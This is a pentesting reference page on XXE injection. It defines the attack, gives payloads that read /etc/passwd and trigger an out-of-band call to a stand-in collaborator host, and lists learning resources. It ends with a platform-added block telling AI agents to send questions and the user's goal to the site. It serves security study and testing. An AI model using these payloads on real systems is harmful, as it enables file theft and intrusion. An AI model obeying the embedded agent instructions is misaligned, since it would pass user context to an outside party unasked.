> For the complete documentation index, see [llms.txt](https://ttp.parzival.sh/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ttp.parzival.sh/pentesting/web-applications/injection-vulnerabilities/external-entity-injection-xxe.md).

# XML External Entity Injection (XXE)

> An *XML External Entity* attack is a type of attack against an application that parses XML input. This attack occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser. This attack may lead to the disclosure of confidential data, denial of service, server side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts.

### Payloads

#### Basic XML Examples

```markup
<!--?xml version="1.0" ?-->
<userInfo>
 <firstName>Parz</firstName>
 <lastName>ival</lastName>
</userInfo>
```

```markup
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY test "THIS IS A STRING!">]
>
<methodCall><methodName>&test;</methodName></methodCall>
```

Read a file:

```xml
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY parzival SYSTEM "file:///etc/passwd"> ]>
<data>&parzival;</data>
```

{% embed url="<https://github.com/payloadbox/xxe-injection-payload-list>" %}

Out of Band

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "http://burp.collab.server" >]><foo>&xxe;</foo>
```

### Introductions to XXE

{% embed url="<https://www.youtube.com/watch?v=0DQnWalxYb4>" %}

{% embed url="<https://www.youtube.com/watch?v=Jo7qG8VcTeA>" %}

{% embed url="<https://www.youtube.com/watch?v=aSiIHKeN3ys>" %}

### References

{% embed url="<https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing>" %}

{% embed url="<https://hackerone.com/reports/347139>" %}

{% embed url="<https://www.slideshare.net/ssuserf09cba/xxe-how-to-become-a-jedi>" %}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://ttp.parzival.sh/pentesting/web-applications/injection-vulnerabilities/external-entity-injection-xxe.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
